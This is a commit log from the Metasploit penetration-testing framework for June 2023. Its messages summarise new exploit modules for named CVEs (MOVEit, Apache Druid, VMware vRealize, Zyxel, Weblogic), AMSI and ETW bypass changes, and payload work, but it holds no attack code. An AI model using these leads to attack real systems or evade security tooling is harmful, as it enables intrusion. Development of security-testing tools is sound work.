Spencer McIntyre 767b22f7ef Recompile the DLL 2023-06-27 09:31:24 -04:00
Spencer McIntyre df0f7de098 Fix an ARGUMENT handling error
`datastore['ARGUMENT']` can be `nil` when it's been unset. Avoid an
error when appending it to cln_params by checking that it's present.
2023-06-27 09:29:59 -04:00
Ashley Donaldson 0d0906840e Fix memory protection bug 2023-06-27 09:59:52 +10:00
Metasploit fb6ecdd2ab automatic module_metadata_base.json update 2023-06-26 16:46:43 -05:00
Spencer McIntyre 7da9ea07aa Land #17796, AWS EC2 enum: implement reporting 2023-06-26 17:31:38 -04:00
Spencer McIntyre fd89ac6893 Fix REGION related issues
Fixes hanging when REGION is invalid. Fixes a stack trace when REGION is
an empty string.
2023-06-26 17:18:13 -04:00
Joshua Rogers 1e7af0457a Update jenkins_gather.md
Change Windows default to C:\ProgramData\Jenkins\.jenkins.
2023-06-26 21:29:27 +02:00
Joshua Rogers cac515b8db Update jenkins_gather.rb
Change the default Windows location to C:\ProgramData\Jenkins\.jenkins\.
2023-06-26 21:27:59 +02:00
Jack Heysel 46629ca1d2 responded to comments 2023-06-26 14:01:12 -04:00
Grant Willcox def6d644cc Land #18141, Remove flakey redundant test 2023-06-26 12:36:32 -05:00
Dean Welch df5b26ea3a Remove flaky redundant test 2023-06-26 16:32:41 +01:00
Ashley Donaldson 65a4dd3c39 Change ETW bypass method, so that CLR memory can be freed.
Fixed a crash and broken logic in hosting clr code.
2023-06-26 09:54:00 +10:00
Ashley Donaldson 624643be4a Catch errors and give meaningful error messages 2023-06-25 22:12:22 +10:00
RageLtMan 60523c0f9b Apply @smcintyre-r7's logic fix
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2023-06-23 18:48:21 -04:00
Metasploit 0f593d881c automatic module_metadata_base.json update 2023-06-23 16:17:47 -05:00
Jack Heysel bf1e6bddd1 Land #18134, Add exploit for CVE-2023-25194
This exploits a Java deserialization vulnerbility
in Apache Druid which arises from a JNDI injection
within Apache Kafka clients.
2023-06-23 16:52:04 -04:00
Grant Willcox da34476a91 Land #17959, rescue login scanner attempts 2023-06-23 14:49:26 -05:00
Grant Willcox f48dadff62 Land #18139, Fix windows python meterpreter getuid intermittent crash 2023-06-23 12:02:37 -05:00
adfoster-r7 7aa1dafc1f Fix windows python meterpreter getuid intermittent crash 2023-06-23 15:30:02 +01:00
Metasploit f641d64f2f automatic module_metadata_base.json update 2023-06-23 05:07:35 -05:00
dwelch-r7 d68eb84334 Land #18065, Updates jenkins_gather module to work with newer version of Jenkins 2023-06-23 10:44:06 +01:00
cgranleese-r7 9176d0d3e0 Updates jenkins_gather to work with newer version of Jenkins 2023-06-23 10:02:03 +01:00
Heyder Andrade b026b38851 Apply suggestions from code review
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-06-23 09:36:50 +02:00
Ashley Donaldson 977f8732c6 Fix cleanup code.
The _AppDomainPtr, _AssemblyPtr and _MethodInfoPtr variables are COM smart pointers which will auto-Release() when they go out of scope, so we should not directly Release() them.
2023-06-23 14:01:45 +10:00
Ashley Donaldson a7ce4c7fa8 Free memory from the C++ side, rather than the Ruby side. 2023-06-23 09:57:53 +10:00
Metasploit 0f65368866 Bump version of framework to 6.3.23 2023-06-22 15:51:18 -05:00
Metasploit 5157897412 automatic module_metadata_base.json update 2023-06-22 13:39:14 -05:00
Spencer McIntyre b5e028b47c Land #18100, Add MOVEit CVE-2023-34362 2023-06-22 14:23:44 -04:00
Spencer McIntyre dfd450561e Tweak some messages and cleanup markdown table 2023-06-22 14:23:25 -04:00
bwatters a05bde217c Ensure any users we create are deleted 2023-06-22 12:18:07 -05:00
Jack Heysel 4c73067dfe Land #18104, fix falsely caused empty file reads
This issue was happening frequently with the java metepreter.
The issue has been fixed and tested with test/file post module.
2023-06-22 13:07:19 -04:00
Redwaysecurity.com 77bb6759a6 Review suggestions 2023-06-22 18:12:13 +02:00
bwatters 5f667e1d79 Address code review 2023-06-22 10:22:43 -05:00
bwatters a2c2a9193f Update error catching logic 2023-06-22 08:27:44 -05:00
Metasploit 5b9f22181a automatic module_metadata_base.json update 2023-06-22 08:18:59 -05:00
dwelch-r7 e298788a28 Land #18049, Update jenkins login scanner to work with newer versions 2023-06-22 14:04:24 +01:00
Redwaysecurity.com e2fc3c5eff Fixed documentation offenses 2023-06-22 14:48:16 +02:00
Redwaysecurity.com a8332e6064 Added exploit for CVE-2023-25194 2023-06-22 14:17:32 +02:00
cgranleese-r7 ace4c45c5d Land #18118, Update UA strings for June 2023 2023-06-22 12:31:09 +01:00
Ashley Donaldson 461240639c Check PID validity before getting its bitness 2023-06-22 16:05:48 +10:00
Jack Heysel 64b441be2a Rspec tests, get_broker_port addition 2023-06-22 01:29:33 -04:00
Metasploit 83e65b0ea3 automatic module_metadata_base.json update 2023-06-21 18:17:35 -05:00
Jack Heysel 969b5cd044 Land #18132, this PR reverts #17942
The AMSI bypass improvements in #17942 for new versions of windows
broke psexec. This PR reverts the issue.
2023-06-21 18:49:47 -04:00
Jeffrey Martin 1b562dd02b Revert "Improve AMSI bypass on new Windows"
This reverts commit f97ab80224, reversing
changes made to c8f942cc03.

This change impacted the default `psexec` powershell target and needs further
testing to be reintroduced.
2023-06-21 16:35:41 -05:00
bwatters 2adea08f67 Add documentation & code cleanup 2023-06-21 15:41:50 -05:00
Metasploit 889407354a automatic module_metadata_base.json update 2023-06-21 13:57:04 -05:00
Spencer McIntyre 7cff25e639 Land #18117, Consider Windows 10 Revision
Consider Windows 10 Revision number in version module
2023-06-21 14:32:59 -04:00
bwatters 52907ac794 Add space limitation 2023-06-21 12:56:59 -05:00
bwatters 10c6e6328f Add user cleanup and update error handling 2023-06-21 12:00:34 -05:00
bwatters 9d16b0043b Add check method 2023-06-21 11:26:04 -05:00
Spencer McIntyre ea1641df85 Land #17576, Update tag handling
Update add_host_tag and delete_host_tag to properly handle tagging multiple hosts and then deleting these tags
2023-06-21 11:49:11 -04:00
Grant Willcox cd00585e12 Support properly handling tagging multiple hosts and then deleting those tags.
This involves updating add_host_tag and delete_host_tag and performing some refactoring.
2023-06-21 09:31:55 -05:00
bwatters 957339b3c0 Simplify output 2023-06-21 08:34:02 -05:00
cgranleese-r7 0609d246f3 adds more future proofing to implementation 2023-06-21 14:19:24 +01:00
Ashley Donaldson 6e438d338e Modify execute_dotnet_assembly to run in existing processes (including our own process) and receive output. 2023-06-21 12:04:09 +10:00
bwatters d63c14dc17 Ugly, but working 2023-06-20 20:06:57 -05:00
Jack Heysel 40bd729957 Land #18129, Update metasploit-payloads gem
This PR bumps the metasploit-payloads gem to
version 2.0.143
2023-06-20 17:07:52 -04:00
Spencer McIntyre 5d96b23d19 Update metasploit-payloads gem to 2.0.143
Includes changes from:
* rapid7/metasploit-payloads#662
* rapid7/metasploit-payloads#660
2023-06-20 15:14:18 -04:00
cgranleese-r7 5611780d81 Land #18127, Add railgun reverse lookup tests for osx and linux 2023-06-20 14:27:29 +01:00
cgranleese-r7 b1d437dfe6 Land #18126, Add additional logging to post test file 2023-06-20 14:26:14 +01:00
Jack Heysel 965a758b48 Land #18124, Fixes the broken test/extapi module. 2023-06-19 18:42:13 -04:00
adfoster-r7 c535d8081f Add railgun reverse lookup tests for osx and linux 2023-06-19 16:30:26 +01:00
adfoster-r7 2ac257bcef Add additional logging to post test file 2023-06-19 16:11:43 +01:00
adfoster-r7 f9b5ea75bc Fix broken post test extapi tests 2023-06-19 14:11:29 +01:00
usiegl00 1c5b88c59f Update CachedSize for Mettle 2023-06-19 12:23:40 +02:00
usiegl00 7e3e30f9d0 Bump Mettle Version 2023-06-19 11:56:52 +02:00
usiegl00 22101f15cc Update Aarch64 Payloads for RuboCop
Use msftidy to fix the rubocop errors.
2023-06-19 11:20:23 +02:00
usiegl00 b8068bc781 Cleanup for Sonoma Dyld
This adds support for the dyld changes incorperated into Sonoma and
cleans up the existing support for Ventura. This does not break
compatibility with previous versions.
2023-06-19 10:57:37 +02:00
usiegl00 0415565396 Fix for Ventura Dyld
This adds support for the dyld changes incorperated into Ventura which
includes changes to the symbols used. This does not break compatibility
with previous versions.
2023-06-19 10:57:37 +02:00
usiegl00 44762f18e8 Increase Stack Space for Loader
This increases the stack stack space mmap'd for the 2nd stage loader and
should fix the invalid stack memory access crash on the staged payload.
2023-06-19 10:57:37 +02:00
usiegl00 e70bdb028a Basic MachO Signing
This commit adds the sign method to Payload::MachO which performs a
basic SHA256 signature update on the provided macho to enable it to run
under osx aarch64 systems.
2023-06-19 10:57:37 +02:00
usiegl00 658c87996d Hotwire MachO Signing
This commit hotwires in executable signing to some of the aarch64 osx
payloads in order to ensure that they are fully functional.
2023-06-19 10:57:37 +02:00
usiegl00 8a5442f7f0 Fix AARCH64 MachO Generation
This updates the exe util to properly generate stageless aarch64 macho
payloads. I've also added comments on how to assemble the aarch64
stages.
2023-06-19 10:57:37 +02:00
usiegl00 8c4c260911 Mettle now supports aarch64-apple-darwin
This bumps the metasploit_payloads-mettle version to enable the new
target triple.
2023-06-19 10:57:37 +02:00
usiegl00 5f8767f4cf M1ssion Dyld Mettle: Aarch64 Payloads
This builds on Back from the dyld by adding the required aarch64
assembly code to enable the OSX loader to run on the m1. This enables
the use of native payloads on M1 or M2 devices that do not have Rosetta
installed.
2023-06-19 10:57:37 +02:00
Ashley Donaldson 2a3cac051f Suggestion from code review 2023-06-19 07:53:46 +10:00
h00die e49e70ce93 update rocketmq tests 2023-06-16 16:26:35 -04:00
h00die 67225650de convert _ to . 2023-06-16 16:13:36 -04:00
h00die 4f661ff230 rocketmq version lib 2023-06-16 15:36:06 -04:00
Spencer McIntyre 0ca978fe9d Return arrays of values where applicable
Return arrays of values where applicable and update method docs.
2023-06-16 12:19:11 -04:00
Spencer McIntyre 44ffafcf62 Add more unit tests 2023-06-16 11:48:43 -04:00
Spencer McIntyre 2d800be5b1 Read the ORAddress definition
Note that there's a known issue that needs the changes from
sdaubert/rasn1#37 to work.
2023-06-16 11:48:36 -04:00
dwelch-r7 9ef9f98894 Land #18119, Add support for only running user specified test names 2023-06-16 13:27:31 +01:00
Dean Welch 8527eea15d Add lazy loading for payloads 2023-06-16 12:04:48 +00:00
adfoster-r7 92c15f8a6a Add support for only running user specified test names 2023-06-16 11:00:38 +01:00
Ashley Donaldson 5832685f5e Update UA strings for June 2023 2023-06-16 11:32:37 +10:00
Ashley Donaldson 8b91d729c4 Update tests 2023-06-16 11:29:31 +10:00
Ashley Donaldson 381d291da9 Use revision in MSF modules 2023-06-16 10:07:35 +10:00
Ashley Donaldson ddbd24554d Take into account Windows 10 revision number 2023-06-16 06:50:39 +10:00
Spencer McIntyre 16ef8c4eaa Add a basic spec for the x509 SAN definition 2023-06-15 15:57:10 -04:00
Spencer McIntyre 9e8a8d7c25 Remove our BMPString definition
It was added in https://github.com/sdaubert/rasn1/pull/33 and is present
in RASN 0.12.1.
2023-06-15 15:57:10 -04:00
Spencer McIntyre 0555b4ada0 Add SAN parsing with a proper ASN.1 definition
The ORAddress field is left out because it's significantly more
complicated than the rest and doesn't appear to be necessary at this
time.
2023-06-15 15:57:02 -04:00
Spencer McIntyre 39c9355715 Add additional string primitives 2023-06-15 15:51:14 -04:00
adfoster-r7 50832bef97 Land #18094, Fix an edge case in .to_win32pe 2023-06-15 20:39:07 +01:00
space-r7 9776a6eb4a Land #18078, add SID support for icpr_cert
pulls in latest changes
2023-06-15 13:39:31 -05:00
space-r7 a31a3513c1 resolve docs conflict 2023-06-15 13:36:21 -05:00
space-r7 5b77805d68 Land #18078, add support for SID in icpr_cert 2023-06-15 13:17:09 -05:00
Metasploit ea34db64af Bump version of framework to 6.3.22 2023-06-15 12:15:30 -05:00
Jack Heysel f014033321 Land #18054, Fix info command IP address issue
This PR fixes the issue where an ArgumentError was thrown
when running the info command when using a fetch payload
2023-06-15 11:51:16 -04:00
Metasploit c168890902 automatic module_metadata_base.json update 2023-06-15 09:28:15 -05:00
bwatters 03d59ba4e7 Land # 18084, Add x86 Linux Fetch Payloads
Merge branch 'land-18084' into upstream-master
2023-06-15 09:04:22 -05:00
bwatters 63abeb331d Remove default value 2023-06-15 08:46:45 -05:00
bwatters d5a986a4bc Fix copy/pasta 2023-06-15 08:34:30 -05:00
dwelch-r7 cee72a81e3 Land #18110, Add namespaced test module logging 2023-06-15 14:30:02 +01:00
dwelch-r7 bc61bbaf7f Land #18109, Update test post modules to always have a clean writable file system directory 2023-06-15 14:27:13 +01:00
dwelch-r7 62fd3ec536 Land #18108, Fix flakey post test services module 2023-06-15 13:45:43 +01:00
dwelch-r7 3010b565ce Land #18107, Extract rspec wait for expect helper 2023-06-15 13:42:13 +01:00
dwelch-r7 8da6f1efb9 Land #18105, Fix time command bug when running complex commands 2023-06-15 13:41:16 +01:00
cgranleese-r7 5afba17a79 Land #18115, Update unknown windows errors on python meterpreter to include original error code 2023-06-15 12:52:13 +01:00
cgranleese-r7 c85b017c9e Land #18106, Update SessionTLVLogging to no longer truncate useful values 2023-06-15 12:50:33 +01:00
adfoster-r7 8f11798f5f Update unknown windows errors on python meterpreter to include hex error code 2023-06-15 11:56:32 +01:00
cgranleese-r7 95d05e0e9c Land #18111, Fix initialised constant error when meterpreter registry key reads timeout 2023-06-15 10:23:29 +01:00
adfoster-r7 552b76aa8f Initialize to an empty string 2023-06-15 01:44:42 +01:00
Metasploit e7bbd34e0d automatic module_metadata_base.json update 2023-06-14 17:53:56 -05:00
adfoster-r7 51dc30909a Land #17670, add module to exploit CVE-2019-16328 2023-06-14 23:30:33 +01:00
adfoster-r7 c93adfb697 Land #17781, adds support for module writers to supply include_dir iquote options when compiling mingw 2023-06-14 22:47:10 +01:00
Jack Heysel 2632d33583 Land #18112, fix symlink test bug
This PR fixes a symlink test bug when running
a python meterpreter on windows.
2023-06-14 16:42:53 -04:00
Spencer McIntyre 1823801510 Add some tests for NtdsCaSecurityExt 2023-06-14 16:18:10 -04:00
Spencer McIntyre ae4faca1ba Update module docs to discuss KB5014754 changes 2023-06-14 16:18:04 -04:00
Spencer McIntyre 6988227ee4 Fix AS-REQ with PKINIT and NTDS_CA_SECURITY_EXT 2023-06-14 16:18:04 -04:00
Spencer McIntyre 3ee02a0e41 Add the ALT_SID datastore option 2023-06-14 16:17:58 -04:00
adfoster-r7 2a66987e39 Fix symlink test bug when running python meterpreter on windows 2023-06-14 20:12:05 +01:00
adfoster-r7 bec47e8b59 Fix unitialized constant error when meterpreter registry key reads timeout 2023-06-14 19:50:28 +01:00
adfoster-r7 75d74d2e3c Add namespaced test module logging 2023-06-14 19:35:54 +01:00
adfoster-r7 dc5a42bd7d Update test post modules to always have a clean file system directory 2023-06-14 19:27:19 +01:00
adfoster-r7 5b18475457 Extract rspec wait for expect helper 2023-06-14 19:10:05 +01:00
adfoster-r7 95f30d1f3f Fix flakey post test services module 2023-06-14 18:56:20 +01:00
Jack Heysel 6f297a8619 Land #18102, bump metasploit-payloads 2.0.140
This metasploit-payloads bump is a fix for false negatives
on files not existing on windows python meterpreter
2023-06-14 13:51:27 -04:00
adfoster-r7 69b7635f0f Update SessionTLVLogging to no longer truncate useful values 2023-06-14 18:39:58 +01:00
adfoster-r7 2d87447db7 Fix time command bug when running complex commands 2023-06-14 18:01:47 +01:00
adfoster-r7 fb6bb4031c Fix issue that falsely caused empty file reads on meterpreter 2023-06-14 17:50:54 +01:00
Jeffrey Martin d3fa7608db Land #18103, lock nokogiri due to compile issue 2023-06-14 11:40:08 -05:00
Jeffrey Martin ceb85e08c9 update to latest nokogiri 1.14.x 2023-06-14 11:30:25 -05:00
Jeffrey Martin b2d0cdaa28 lock nokogiri due to compile issue 2023-06-14 11:21:49 -05:00
adfoster-r7 00d1f03b8a Fix false negatives on files not existing on windows python meterpreter 2023-06-14 17:09:06 +01:00
cgranleese-r7 966dec5b03 Land #18101, Fix macOS route command when mac addresses are split by dots 2023-06-14 17:01:32 +01:00
adfoster-r7 793e0887ff Fix osx route command when mac addresses are split by dots 2023-06-14 16:43:51 +01:00
bwatters f5f61ca508 Start of MOVEit port 2023-06-14 10:04:07 -05:00
cgranleese-r7 9187b96756 Land #18099, Fix python meterpreter subprocess deadlock and file descriptor leak 2023-06-14 15:40:10 +01:00
adfoster-r7 b9f260d0f7 Land #18089, Add Masm support 2023-06-14 13:51:41 +01:00
dwelch-r7 de07c2eae2 Land #18098, Fix rex-text crashes when running ruby 3.3 2023-06-14 13:26:02 +01:00
Jeffrey Martin 41429aec97 Land #18080, Weekly dependency updates for Gemfile.lock 2023-06-14 07:16:48 -05:00
adfoster-r7 d6a50acf83 Fix python meterpreter subprocess deadlock and file descriptor leak 2023-06-14 13:10:46 +01:00
dwelch-r7 1b35a9f916 Land #18051, Add appropriate skips to post test modules 2023-06-14 13:06:37 +01:00
adfoster-r7 f30bc86c8a Fix rex-text crashes when running ruby 3.3 2023-06-14 13:04:20 +01:00
cgranleese-r7 fe737b55b9 Land #18097, Fix python meterpreter crashing when extracting osx network configuration 2023-06-14 12:49:10 +01:00
adfoster-r7 d414eea087 Add appropriate skips to post test modules 2023-06-14 12:37:02 +01:00
adfoster-r7 21b2e3a597 Fix python meterpreter crashing when extracting osx network configuration 2023-06-14 12:28:15 +01:00
dwelch-r7 68c48ef984 Land #18050, Add module for running all post test modules 2023-06-14 12:14:57 +01:00
Metasploit 968a151de9 automatic module_metadata_base.json update 2023-06-13 17:37:51 -05:00
Jack Heysel c98cc00de9 Land #18075, RocketMQ version scanner 2023-06-13 18:15:34 -04:00
Jeffrey Martin efd49f07b0 update migration calls in spec
As of Rails 7.0.5 the `migrations_paths` are called once in spec run
2023-06-13 17:15:19 -05:00
space-r7 7af22bfd41 Land #18077, add Symmetricom unauth cmd injection 2023-06-13 17:07:16 -05:00
space-r7 5535401345 add exploit rank 2023-06-13 17:05:30 -05:00
bwatters cabae172f9 Remove superfluous setup_handler 2023-06-13 16:03:55 -05:00
bwatters 548d7e76a8 Fix accidental diff 2023-06-13 16:01:58 -05:00
Metasploit 9f276bd727 automatic module_metadata_base.json update 2023-06-13 15:57:29 -05:00
bwatters 38f542174d Land #17336, A more robust implementation for Windows version comparisons
Merge branch 'land-17336' into upstream-master
2023-06-13 15:38:56 -05:00
Steve Campbell 37bc9cd5a4 Update symmetricom_syncserver_rce.rb
Updated info to add allowed SRVPORT and LPORT, and fixed issue with srvport variable not used.
2023-06-13 16:22:08 -04:00
Metasploit 401820ddfb automatic module_metadata_base.json update 2023-06-13 14:50:28 -05:00
space-r7 091ee36b44 Land #18086, add TerraMaster cmd injection 2023-06-13 14:34:42 -05:00
space-r7 cbf7109c51 add rubocop fixes and some metadata 2023-06-13 13:44:23 -05:00
space-r7 0d85c9e380 add module documentation 2023-06-13 13:14:51 -05:00
Spencer McIntyre c41483250f Fix an edge case in .to_win32pe
When the entry point is after the payload, there woud occassionally be
cases where `poff` and `eidx` to be invalid, causing `entry` to be
truncated. `poff` should never be negative and `eidx` should reserve the
256 bytes that `entry` may occupy.
2023-06-13 13:41:47 -04:00
bwatters 1af9660296 Add routable address type 2023-06-13 10:29:15 -05:00
bwatters 9e773b3f35 Fix issue with info command and IP address check 2023-06-13 10:16:07 -05:00
SinSinology fd5e4dfc39 VMWare vRealize Network Insight pre-authenticated RCE CVE-2023-20887
Technical details at
https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/
2023-06-13 15:16:11 +01:00
Metasploit 09ae3828d0 automatic module_metadata_base.json update 2023-06-13 09:02:42 -05:00
Jeffrey Martin fa33052cf8 Land #18090, Update the exported keytab table entries to sort by db insert id 2023-06-13 08:13:25 -05:00
Professor Araout 1fbfc8e4d4 Update lib/metasploit/framework/compiler/mingw.rb
Error in github review, replaced line 39 instead of 37-38-39   -> Fixed

Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-06-13 15:04:00 +02:00
Professor Araout 0b320f6209 Update lib/metasploit/framework/compiler/mingw.rb
Review made by @adfoster-r7 and tested by @ARaout

Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-06-13 14:59:22 +02:00
Professor Araout 9d315af25e Update lib/metasploit/framework/compiler/mingw.rb
Review made by @adfoster-r7 and tested by @ARaout

Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-06-13 14:59:15 +02:00
Professor Araout cb105d8978 Update lib/metasploit/framework/compiler/mingw.rb
Review made by @adfoster-r7 and tested by @araout 

Works perfect

Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-06-13 14:58:36 +02:00
adfoster-r7 7fe6b8f481 Update the exported keytab table entries to sort by db insert id 2023-06-13 09:14:06 +01:00
Ashley Donaldson 8d1e7a386c Rubocop and code review suggestions 2023-06-13 15:58:30 +10:00
shellchocolat 0761f8f729 [+] add masm output support 2023-06-13 06:55:16 +02:00
Metasploit 96ba121973 automatic module_metadata_base.json update 2023-06-12 18:17:41 -05:00
Jack Heysel f97ab80224 Land #17942, Improve AMSI bypass on new Windows
The script generated by the web_delivery module is blocked
by the Antimalware Scan Interface (AMSI) on newer versions
of windows. This PR allows the script to bypass AMSI.
2023-06-12 18:50:48 -04:00
Jack Heysel 14dc102e31 Bump rex-powershell to 0.1.98 2023-06-12 16:34:28 -04:00
Steve Campbell ed516faa93 Update modules/exploits/linux/http/symmetricom_syncserver_rce.rb
Added link to CVE

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-06-12 16:34:24 -04:00
Steve Campbell 5b73c8fea1 Update modules/exploits/linux/http/symmetricom_syncserver_rce.rb
Added CVE

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-06-12 16:33:57 -04:00
Steve Campbell 4e4d09862e Update modules/exploits/linux/http/symmetricom_syncserver_rce.rb
Fixed misspelling

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-06-12 16:32:12 -04:00
Steve Campbell bc2fb0c919 Update modules/exploits/linux/http/symmetricom_syncserver_rce.rb
Updated heading

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-06-12 16:31:21 -04:00
h00die-gr3y 4479d94658 Updates based on review comments from space-r7 and jvoisin 2023-06-12 19:28:08 +00:00
adfoster-r7 c8f942cc03 Land #17955, Golf a bit the php payload 2023-06-12 16:31:00 +01:00
h00die-gr3y 7cd3854208 Removed Webshell upload and updated documentation 2023-06-12 13:58:59 +00:00
Spencer McIntyre 834ad18d28 Land #18069, Handle LDAP UnbindRequest
Remote::JndiInjection: handle LDAP UnbindRequest
2023-06-12 09:53:38 -04:00
RageLtMan 668b72a4ca Rex::Proto::LDAP::Server handle LDAP UnbindRequest 2023-06-10 09:42:58 -04:00
RageLtMan ead8a99d79 AWS EC2 Enum: handle limits properly
Get all instances if limit is not set, improve output slightly.

Note: `inst.network_interfaces.select {|iface| iface.association}`
appears to have problems with multiple calls at run time - says
that the AWS SDK is trying to call `:[]` on `nil` but works in Pry.
2023-06-10 08:45:25 -04:00
Jeffrey Martin c33fe50bbb remove overzealous error handler
Update the error handling around the EC2 sdk to follow official documentation:
https://github.com/aws/aws-sdk-ruby/blob/a350a9cf9946aadd1292df6936aecd706c6ddd85/gems/aws-sdk-ec2/lib/aws-sdk-ec2.rb#L68-L72
2023-06-10 08:45:25 -04:00
Jeffrey Martin b1477a8616 add new notes metadata 2023-06-10 08:45:25 -04:00
RageLtMan afdcf76ef6 AWS EC2 enum: rubocop pass 2023-06-10 08:45:25 -04:00
RageLtMan a04b54486f AWS EC2 enum: parse tags 2023-06-10 08:45:25 -04:00
RageLtMan 00eed69b92 AWS EC2 enum: implement reporting 2023-06-10 08:45:25 -04:00
h00die-gr3y db8a49cc99 Updated documentation 2023-06-10 12:14:05 +00:00
h00die-gr3y 417c9fa591 init commit module and documentation 2023-06-10 09:42:32 +00:00
Metasploit 43003eefa8 automatic module_metadata_base.json update 2023-06-09 18:11:26 -05:00
space-r7 c9af514be4 Land #18063, add TerraMaster webshell upload 2023-06-09 17:55:32 -05:00
Spencer McIntyre c579c43b72 Update payloads_spec.rb for x86 fetch 2023-06-09 16:50:28 -04:00
Spencer McIntyre 0ba65b7393 Add the x86 fetch payloads 2023-06-09 16:47:45 -04:00
Metasploit fce6450a95 automatic module_metadata_base.json update 2023-06-09 14:18:50 -05:00
Spencer McIntyre 4c817ce1de Land #17946, CVE-2023-21839 - Oracle Weblogic RCE
CVE-2023-21839 - Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization
2023-06-09 14:55:43 -04:00
Grant Willcox 50dfde1f7a Land #18083, Update metasploit-payloads gem to 2.0.136 2023-06-09 12:47:37 -05:00
Metasploit 5dba72cf5e automatic module_metadata_base.json update 2023-06-09 12:46:16 -05:00
space-r7 c8609d7983 Land #18070, add TerraMaster chained exp module 2023-06-09 12:29:47 -05:00
Grant Willcox 694c1006e4 Add more IPv6 support in to the module 2023-06-09 12:24:35 -05:00
Spencer McIntyre eab324714d Update metasploit-payloads gem to 2.0.136
Includes changes from:
* rapid7/metasploit-payloads#656
2023-06-09 12:57:02 -04:00
adfoster-r7 7ab610c7bd Land #18058, Improve code navigation docs and add debugging page 2023-06-09 15:59:05 +01:00
Grant Willcox ae4e616c3b Update Navigating-And-Undstanding-Metasploits-Codebase to add new code navigation tools and debugging tools
Move debugging info into same file and make markdown match standards

Add more info on Pry debugging using Alan David Foster's explaination

Fix up broken URL links and format new URL links correctly

Fix up formatting and add information on Debug.gem supported commands
2023-06-09 09:17:46 -05:00
Spencer McIntyre 296a7afc86 Land #18076, Don't use length for freeing. 2023-06-09 10:10:29 -04:00
Spencer McIntyre 66d2477d62 Add some tests for NtdsCaSecurityExt 2023-06-09 09:27:35 -04:00
Metasploit caba471cfb automatic module_metadata_base.json update 2023-06-09 08:18:52 -05:00
Spencer McIntyre 1284cb39d0 Land #18016, CVE-2023-28771 - Zyxel Cmd Injection
CVE-2023-28771 - Zyxel Command Injection
2023-06-09 09:03:03 -04:00
sfewer-r7 27f5a789c9 rework the exploit to use the new MIPS64 fetch payload adapters. Removed the seperate command and dropper targets in favor of a single default target which can do both thanks to fetch payloads. Removed the redundant IO select() call which was bad copy pasta on my part. 2023-06-09 09:47:57 +01:00
Stephen Fewer a1528556e0 Merge branch 'rapid7:master' into CVE-2023-28771 2023-06-09 09:42:19 +01:00
Metasploit 31c65c8a35 automatic module_metadata_base.json update 2023-06-08 19:33:07 -05:00
bwatters 039f238dd4 Land #18068, Fix VBS stager in shell_to_meterpreter
Merge branch 'land-18068' into upstream-master
2023-06-08 19:16:54 -05:00
h00die-gr3y dfc366e022 Latest updates based on reviewers comments 2023-06-08 21:25:40 +00:00
h00die 3e538a34af review comments 2023-06-08 16:38:22 -04:00
Grant Willcox dce2965d3f Bump up dependency versions 2023-06-08 14:20:59 -05:00
Metasploit 4b082b997b automatic module_metadata_base.json update 2023-06-08 14:16:14 -05:00
Spencer McIntyre 238118e8b5 Update module docs to discuss KB5014754 changes 2023-06-08 15:10:35 -04:00
Spencer McIntyre 2acc014014 Fix AS-REQ with PKINIT and NTDS_CA_SECURITY_EXT 2023-06-08 15:10:35 -04:00
Spencer McIntyre 47835b57a7 Add the ALT_SID datastore option 2023-06-08 15:10:27 -04:00
Spencer McIntyre 5b5c29842c Land #18022, Add post/windows/manage/make_token
Add update_token to MSF + make_token post-ex module
2023-06-08 14:53:22 -04:00
Spencer McIntyre d8870d7876 Address msftidy_docs complaints 2023-06-08 14:52:57 -04:00
Metasploit 92cf562950 Bump version of framework to 6.3.21 2023-06-08 12:12:50 -05:00
Metasploit 55e67ac5cd automatic module_metadata_base.json update 2023-06-08 11:47:13 -05:00
Steve Campbell 229fc0c002 Added symmetricom_syncserver_rce.rb 2023-06-08 12:46:10 -04:00
Christophe De La Fuente c08f1971cc Land #18040, Fix Python's payload issue with Windows 2023-06-08 18:28:07 +02:00
Metasploit 601306b795 automatic module_metadata_base.json update 2023-06-08 08:56:26 -05:00
Grant Willcox a1e930397a Land #18072, Add CVE-2023-1133 - .NET Deserialization exploit for Delta Electronics InfraSuite Device Master 2023-06-08 08:42:07 -05:00
h00die-gr3y 0bcd930f61 Updated NAS model and version check 2023-06-08 09:12:45 +00:00
h00die-gr3y b3b0cb4ccf Updates based on space-r7 comments 2023-06-08 07:39:44 +00:00
Ashley Donaldson 717ceae45b Don't use length for freeing.
MSDN says this will never succeed - should always be zero.
2023-06-08 15:02:41 +10:00
manishkumarr1017 6030f75b1a fixing indentation for shell reverse tcp payload 2023-06-08 06:52:33 +05:30
manishkumarr1017 d454e23aa0 decoding bytes from all python payloads 2023-06-08 06:44:37 +05:30
space-r7 74dd134783 add options in scenarios output 2023-06-07 17:15:28 -05:00
Grant Willcox 4465582fee Add in link to archived version of the installer 2023-06-07 16:51:01 -05:00
Shelby Pace 3bc145c02c Update modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2023-06-07 16:42:01 -05:00
Shelby Pace 2738906f87 Update documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2023-06-07 16:41:44 -05:00
Shelby Pace 54649fb856 Update documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2023-06-07 16:41:37 -05:00
Shelby Pace 4377ff037a Update documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2023-06-07 16:41:28 -05:00
